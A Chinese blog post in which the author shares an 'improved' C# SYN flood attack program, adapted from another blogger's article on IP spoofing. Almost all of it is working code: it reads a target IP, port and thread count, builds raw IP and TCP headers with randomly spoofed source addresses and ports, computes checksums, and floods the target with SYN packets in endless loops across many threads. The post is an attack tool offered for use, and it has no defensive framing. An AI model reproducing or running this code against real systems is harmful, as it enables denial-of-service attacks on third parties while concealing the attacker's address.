关于C# SYN泛洪攻击代码的一些改进

前段时间在看了博主 国际海员 的文章,一篇关于“NET平台下的IP欺骗和SYN Flood攻击”,在文章中,关于博主的多线程代码部分,鄙人有了些自己的改进,另外在整体代码布局上也整理了一下,使之看起来思路更加清晰,鄙人刚开园,也处于学习进步之中,还有很多地方不是特别清楚,还请众位博友指教。废话少说,上代码

  public class Program
    {
        static void Main(string[] args)
        {
            //RawSocket rs = new RawSocket();
            //rs.CreateAndBindSocket("127.0.0.1");
            //while (true) rs.Run();
            Console.WriteLine("请输入IP:");
            string sip = Console.ReadLine();
            Console.WriteLine("请输入端口:");
            int port = Convert.ToInt32(Console.ReadLine());
            Console.WriteLine("请输入线程数:");
            int ThreadNumber = Convert.ToInt32(Console.ReadLine());
            SYN syn = new SYN(sip, port);
            Thread[] th = new Thread[ThreadNumber];
            for (int i = 0; i < ThreadNumber; i++)
            {
                th[i] = new Thread(new ThreadStart(syn.synFS));
                th[i].Start();
            }
        }
}
 1 unsafe public struct ipHeader          //IP首部信息
 2     {
 3         public byte ip_verlen; //4位首部长度+4位IP版本号  
 4         public byte ip_tos; //8位服务类型TOS  
 5         public ushort ip_totallength; //16位数据包总长度(字节)  
 6         public ushort ip_id; //16位标识  
 7         public ushort ip_offset; //3位标志位  
 8         public byte ip_ttl; //8位生存时间 TTL  
 9         public byte ip_protocol; //8位协议(TCP, UDP, ICMP, Etc.)  
10         public ushort ip_checksum; //16位IP首部校验和  
11         public uint ip_srcaddr; //32位源IP地址  
12         public uint ip_destaddr; //32位目的IP地址  
13 
14         public ipHeader(string hh)
15         {
16             this.ip_verlen = (byte)(4 << 4 | sizeof(ipHeader) / sizeof(uint));//ipv4,20字节ip头,这个固定就是69 
17             this.ip_tos = 0;                                                  //这个0就行了  
18             this.ip_totallength = 0x2800;                                    //这个是ip头+tcp头总长,40是最小长度,不带tcp option,应该是0028但是还是网络字节序所以倒过来成了2800  
19             this.ip_id = 0x9B18;
20             this.ip_offset = 0x40;
21             this.ip_ttl = 64;
22             this.ip_protocol = 6;
23             this.ip_checksum = UInt16.Parse("0");
24             this.ip_destaddr = 0;
25             this.ip_srcaddr = 0;
26         }
27     }
 1 unsafe  public struct psdHeader     //TCP伪首部
 2     {
 3         public uint saddr;   //源地址  
 4         public uint daddr;   //目的地址  
 5         public byte mbz;
 6         public byte ptcl;      //协议类型  
 7         public ushort tcpl;   //TCP长度  
 8 
 9         public psdHeader(string hh)
10         {
11             this.saddr = 0;
12             this.daddr = 0;
13             this.mbz = 0;
14             this.ptcl = 6;
15             this.tcpl = 0x1400;
16         }
17     }
 1 unsafe public struct tcpHeader     //TCP首部
 2     {
 3         public ushort th_sport;     //16位源端口  
 4         public ushort th_dport;     //16位目的端口  
 5         public int th_seq;    //32位序列号  
 6         public uint th_ack;    //32位确认号  
 7         public byte th_lenres;   //4位首部长度/6位保留字  
 8         public byte th_flag;    //6位标志位  
 9         public ushort th_win;      //16位窗口大小  
10         public ushort th_sum;      //16位校验和  
11         public ushort th_urp;      //16位紧急数据偏移量
12 
13         public tcpHeader(string hh)
14         {
15             this.th_sport = 0;
16             this.th_dport = 0;
17             this.th_seq = 0;
18             this.th_ack = 0;
19             this.th_lenres = (byte)((sizeof(tcpHeader) / 4 << 4 | 0));
20             this.th_flag = 2;
21             this.th_win = ushort.Parse("16614");
22             this.th_sum = UInt16.Parse("0");
23             this.th_urp = UInt16.Parse("0");
24         }
25     }
  1 public class Tools
  2     {
  3         //这个使用来计算校验码的我照抄c#实现ping那文章的方法,反正ip协议计算校验码方法都一样  
  4         public static UInt16 checksum(UInt16[] buffer, int size)
  5         {
  6             Int32 cksum = 0;
  7             int counter;
  8             counter = 0;
  9 
 10             while (size > 0)
 11             {
 12                 UInt16 val = buffer[counter];
 13 
 14                 cksum += Convert.ToInt32(buffer[counter]);
 15                 counter += 1;
 16                 size -= 1;
 17             }
 18 
 19             cksum = (cksum >> 16) + (cksum & 0xffff);
 20             cksum += (cksum >> 16);
 21             return (UInt16)(~cksum);
 22         }
 23         
 24 
 25 
 26         //这个是计算校验,把那些类型不一样的全转为16位字节数组用的  
 27         public static UInt16 chec(byte[] buffer, int size)
 28         {
 29             Double double_length = Convert.ToDouble(size);
 30             Double dtemp = Math.Ceiling(double_length / 2);
 31             int cksum_buffer_length = Convert.ToInt32(dtemp);
 32             UInt16[] cksum_buffer = new UInt16[cksum_buffer_length];
 33             int icmp_header_buffer_index = 0;
 34             for (int i = 0; i < cksum_buffer_length; i++)
 35             {
 36                 cksum_buffer[i] =
 37                  BitConverter.ToUInt16(buffer, icmp_header_buffer_index);
 38                 icmp_header_buffer_index += 2;
 39             }
 40             UInt16 u_cksum = checksum(cksum_buffer, cksum_buffer_length);
 41             return u_cksum;
 42         }
 43 
 44         //这个是把ip部分转为字节数组用的  
 45         public static Int32 ipto(ipHeader iph, byte[] Buffer, int size)
 46         {
 47             Int32 rtn = 0;
 48             int index = 0;
 49             byte[] b_verlen = new byte[1];
 50             b_verlen[0] = iph.ip_verlen;
 51             byte[] b_tos = new byte[1];
 52             b_tos[0] = iph.ip_tos;
 53             byte[] b_totallen = BitConverter.GetBytes(iph.ip_totallength);
 54             byte[] b_id = BitConverter.GetBytes(iph.ip_id);
 55             byte[] b_offset = BitConverter.GetBytes(iph.ip_offset);
 56             byte[] b_ttl = new byte[1];
 57             b_ttl[0] = iph.ip_ttl;
 58             byte[] b_protol = new byte[1];
 59             b_protol[0] = iph.ip_protocol;
 60             byte[] b_checksum = BitConverter.GetBytes(iph.ip_checksum);
 61             byte[] b_srcaddr = BitConverter.GetBytes(iph.ip_srcaddr);
 62             byte[] b_destaddr = BitConverter.GetBytes(iph.ip_destaddr);
 63             Array.Copy(b_verlen, 0, Buffer, index, b_verlen.Length);
 64             index += b_verlen.Length;
 65             Array.Copy(b_tos, 0, Buffer, index, b_tos.Length);
 66             index += b_tos.Length;
 67             Array.Copy(b_totallen, 0, Buffer, index, b_totallen.Length);
 68             index += b_totallen.Length;
 69             Array.Copy(b_id, 0, Buffer, index, b_id.Length);
 70             index += b_id.Length;
 71             Array.Copy(b_offset, 0, Buffer, index, b_offset.Length);
 72             index += b_offset.Length;
 73             Array.Copy(b_ttl, 0, Buffer, index, b_ttl.Length);
 74             index += b_ttl.Length;
 75             Array.Copy(b_protol, 0, Buffer, index, b_protol.Length);
 76             index += b_protol.Length;
 77             Array.Copy(b_checksum, 0, Buffer, index, b_checksum.Length);
 78             index += b_checksum.Length;
 79             Array.Copy(b_srcaddr, 0, Buffer, index, b_srcaddr.Length);
 80             index += b_srcaddr.Length;
 81             Array.Copy(b_destaddr, 0, Buffer, index, b_destaddr.Length);
 82             index += b_destaddr.Length;
 83             if (index != size/* sizeof(IcmpPacket)   */)
 84             {
 85                 rtn = -1;
 86                 return rtn;
 87             }
 88 
 89             rtn = index;
 90             return rtn;
 91 
 92         }
 93 
 94         //这个是把tcp伪首部转为字节数组用的  
 95         public static Int32 pshto(psdHeader psh, byte[] buffer, int size)
 96         {
 97             Int32 rtn;
 98             int index = 0;
 99             byte[] b_psh_saddr = BitConverter.GetBytes(psh.saddr);
100             byte[] b_psh_daddr = BitConverter.GetBytes(psh.daddr);
101             byte[] b_psh_mbz = new byte[1];
102             b_psh_mbz[0] = psh.mbz;
103             byte[] b_psh_ptcl = new byte[1];
104             b_psh_ptcl[0] = psh.ptcl;
105             byte[] b_psh_tcpl = BitConverter.GetBytes(psh.tcpl);
106             Array.Copy(b_psh_saddr, 0, buffer, index, b_psh_saddr.Length);
107             index += b_psh_saddr.Length;
108             Array.Copy(b_psh_daddr, 0, buffer, index, b_psh_daddr.Length);
109             index += b_psh_daddr.Length;
110             Array.Copy(b_psh_mbz, 0, buffer, index, b_psh_mbz.Length);
111             index += b_psh_mbz.Length;
112             Array.Copy(b_psh_ptcl, 0, buffer, index, b_psh_ptcl.Length);
113             index += b_psh_ptcl.Length;
114             Array.Copy(b_psh_tcpl, 0, buffer, index, b_psh_tcpl.Length);
115             index += b_psh_tcpl.Length;
116             if (index != size)
117             {
118                 rtn = -1;
119                 return rtn;
120             }
121             else
122             {
123                 rtn = index;
124                 return rtn;
125             }
126 
127         }
128         //这个是把tcp部分转为字节数组用的,因为这个要用到2次就不把这个和伪首部放一块了。  
129         public static Int32 tchto(tcpHeader tch, byte[] buffer, int size)
130         {
131             Int32 rtn;
132             int index = 0;
133             byte[] b_tch_sport = BitConverter.GetBytes(tch.th_sport);
134             byte[] b_tch_dport = BitConverter.GetBytes(tch.th_dport);
135             byte[] b_tch_seq = BitConverter.GetBytes(tch.th_seq);
136             byte[] b_tch_ack = BitConverter.GetBytes(tch.th_ack);
137             byte[] b_tch_lenres = new byte[1];
138             b_tch_lenres[0] = tch.th_lenres;
139             byte[] b_tch_flag = new byte[1];
140             b_tch_flag[0] = tch.th_flag;
141             byte[] b_tch_win = BitConverter.GetBytes(tch.th_win);
142             byte[] b_tch_sum = BitConverter.GetBytes(tch.th_sum);
143             byte[] b_tch_urp = BitConverter.GetBytes(tch.th_urp);
144             Array.Copy(b_tch_sport, 0, buffer, index, b_tch_sport.Length);
145             index += b_tch_sport.Length;
146             Array.Copy(b_tch_dport, 0, buffer, index, b_tch_dport.Length);
147             index += b_tch_dport.Length;
148             Array.Copy(b_tch_seq, 0, buffer, index, b_tch_seq.Length);
149             index += b_tch_seq.Length;
150             Array.Copy(b_tch_ack, 0, buffer, index, b_tch_ack.Length);
151             index += b_tch_ack.Length;
152             Array.Copy(b_tch_lenres, 0, buffer, index, b_tch_lenres.Length);
153             index += b_tch_lenres.Length;
154             Array.Copy(b_tch_flag, 0, buffer, index, b_tch_flag.Length);
155             index += b_tch_flag.Length;
156             Array.Copy(b_tch_win, 0, buffer, index, b_tch_win.Length);
157             index += b_tch_win.Length;
158             Array.Copy(b_tch_sum, 0, buffer, index, b_tch_sum.Length);
159             index += b_tch_sum.Length;
160             Array.Copy(b_tch_urp, 0, buffer, index, b_tch_urp.Length);
161             index += b_tch_urp.Length;
162             if (index != size)
163             {
164                 rtn = -1;
165                 return rtn;
166             }
167             else
168             {
169                 rtn = index;
170                 return rtn;
171             }
172         }  
173 
174     }
  1 unsafe  public class SYN
  2     {
  3         private uint ip;
  4         private ushort port;
  5         private EndPoint ep;
  6         private Random rand;
  7         private Socket sock;
  8 
  9         public SYN(string _ip, int _port)
 10         {
 11             IPHostEntry pe = Dns.GetHostByName(_ip);
 12             ip = Convert.ToUInt32(pe.AddressList[0].Address);//这是要攻击的ip并转为网络字节序                    
 13             port = ushort.Parse(_port.ToString());
 14             ep = new IPEndPoint(pe.AddressList[0], port);
 15             rand = new Random();
 16       
 17             sock = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);
 18             sock.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, 1);
 19             //这2个挺重要,必须这样才可以自己提供ip头  
 20         }
 21 
 22          public void synFS()
 23         {         
 24             string ss = "";
 25             ipHeader iph = new ipHeader(ss);
 26             psdHeader psh = new psdHeader(ss);
 27             tcpHeader tch = new tcpHeader(ss);
 28             string sip = "";    //源地址
 29             int sport = 0;      //源端口
 30             while (true)
 31             {
 32                 sip = rand.Next(1, 255) + "." + rand.Next(1, 255) + "." + rand.Next(1, 255) + "." + rand.Next(1, 255);
 33                 sport = rand.Next(1, 65535);
 34                 byte[] senddata=this.CreateData(iph, psh, tch, sip, sport);              
 35                 try
 36                 {
 37                     Console.WriteLine("已伪造IP源地址为:" + sip + " 端口:" + sport);
 38                     sock.SendTo(senddata, ep); //构造发送字节数组总是麻烦,发送就简单了,socket.sendto就可以了                     
 39                 }
 40                 catch
 41                 {
 42                     Console.WriteLine("发送错误");
 43                     return;
 44                 }
 45 
 46 
 47             }
 48 
 49         }
 50          private byte[] CreateData(ipHeader iph,psdHeader psh,tcpHeader tch,string sip,int sport)
 51          {
 52 
 53              //上面这一大堆东西就是计算校验和的方法了,方法是  
 54              //1、建立一个字节数组,前面放tcp伪首部后面放tcp首部,然后计算,确定最终tcp部分的校验和  
 55              //2、把确定了校验和地tcp首部重新生成字节数组,这是就不加tcp伪首部了,所以工20字节  
 56              //3、建40字节字节数组,前面放ip首部,后面放tcp首部,校验,确定最终ip部分校验和  
 57              //4、最后把确定了ip校验和的ip部分和tcp部分先后放入40字节的字节数组中,就是要发送的buffer[]了,就是这么麻烦  
 58              
 59              psh.saddr = iph.ip_srcaddr = Convert.ToUInt32(IPAddress.Parse(sip).Address);
 60              
 61              ushort duankou = Convert.ToUInt16(sport);
 62              byte[] bt = BitConverter.GetBytes(duankou);
 63              Array.Reverse(bt);
 64              tch.th_sport = BitConverter.ToUInt16(bt, 0);
 65              tch.th_seq = IPAddress.HostToNetworkOrder((int)rand.Next(-2147483646, 2147483646));
 66              //上面用随机种子随机产生源ip源端口和tcp序列号并转为网络字节序  
 67 
 68              iph.ip_checksum = 0;
 69              tch.th_sum = 0;
 70              //因为循环中,所以每次必须把这2个已有数的清0才可计算  
 71              byte[] psh_buf = new byte[sizeof(psdHeader)];
 72              Int32 index = 0;
 73              index = Tools.pshto(psh, psh_buf, sizeof(psdHeader));
 74              if (index == -1)
 75              {
 76                  Console.WriteLine("构造tcp伪首部错误");                
 77                  throw new Exception("构造tcp伪首部错误");
 78              }
 79 
 80              index = 0;
 81              byte[] tch_buf = new byte[sizeof(tcpHeader)];
 82              index = Tools.tchto(tch, tch_buf, sizeof(tcpHeader));
 83              if (index == -1)
 84              {
 85                  Console.WriteLine("构造tcp首部错误1");                
 86                  throw new Exception("构造tcp首部错误1"); 
 87              }
 88 
 89              index = 0;
 90              byte[] tcphe = new byte[sizeof(psdHeader) + sizeof(tcpHeader)];
 91              Array.Copy(psh_buf, 0, tcphe, index, psh_buf.Length);
 92              index += psh_buf.Length;
 93              Array.Copy(tch_buf, 0, tcphe, index, tch_buf.Length);
 94              index += tch_buf.Length;
 95              tch.th_sum = Tools.chec(tcphe, index);
 96 
 97              //--------------------------------------------------------------------
 98              index = 0;
 99              index = Tools.tchto(tch, tch_buf, sizeof(tcpHeader));
100              if (index == -1)
101              {
102                  Console.WriteLine("构造tcp首部错误2");                 
103                  throw new Exception("构造tcp首部错误2");
104              }
105 
106 
107              index = 0;
108              byte[] ip_buf = new byte[sizeof(ipHeader)];
109              index = Tools.ipto(iph, ip_buf, sizeof(ipHeader));
110              if (index == -1)
111              {
112                  Console.WriteLine("构造ip首部错误1");                 
113                  throw new Exception("构造ip首部错误1");
114              }
115              index = 0;
116              byte[] iptcp = new byte[sizeof(ipHeader) + sizeof(tcpHeader)];
117              Array.Copy(ip_buf, 0, iptcp, index, ip_buf.Length);
118              index += ip_buf.Length;
119              Array.Copy(tch_buf, 0, iptcp, index, tch_buf.Length);
120              index += tch_buf.Length;
121              iph.ip_checksum = Tools.chec(iptcp, index);
122              index = 0;
123              index = Tools.ipto(iph, ip_buf, sizeof(tcpHeader));
124              if (index == -1)
125              {
126                  Console.WriteLine("构造ip首部错误2");                
127                  throw new Exception("构造ip首部错误2");
128              }
129              index = 0;
130              Array.Copy(ip_buf, 0, iptcp, index, ip_buf.Length);
131              index += ip_buf.Length;
132              Array.Copy(tch_buf, 0, iptcp, index, tch_buf.Length);
133              index += tch_buf.Length;
134              if (iptcp.Length != (sizeof(ipHeader) + sizeof(tcpHeader)))
135              {
136                  Console.WriteLine("构造iptcp报文错误");
137                  throw new Exception("构造iptcp报文错误");
138              }
139              return iptcp;
140          }
141     }

在线程栈中独立申请了IP首部,TCP伪首部和TCP首部,实现互不干扰,这样就能实现一个对象,多个线程。另外,据说微软在WIN7开始就不能再使用原始套接字,一些博友说使用管理员权限运行可以,一些博友说不行,我自己测试的是,编译没问题,但是在目标机器上数据包好像不怎么明显,也不知道是不是这个原因,知道的博友麻烦告诉我一声,不胜感激!

原文出处:http://blog.csdn.net/zou_seafarer/article/details/6208833

posted @ 2015-12-21 11:48  潇洒峰哥  阅读(861)  评论(1)    收藏  举报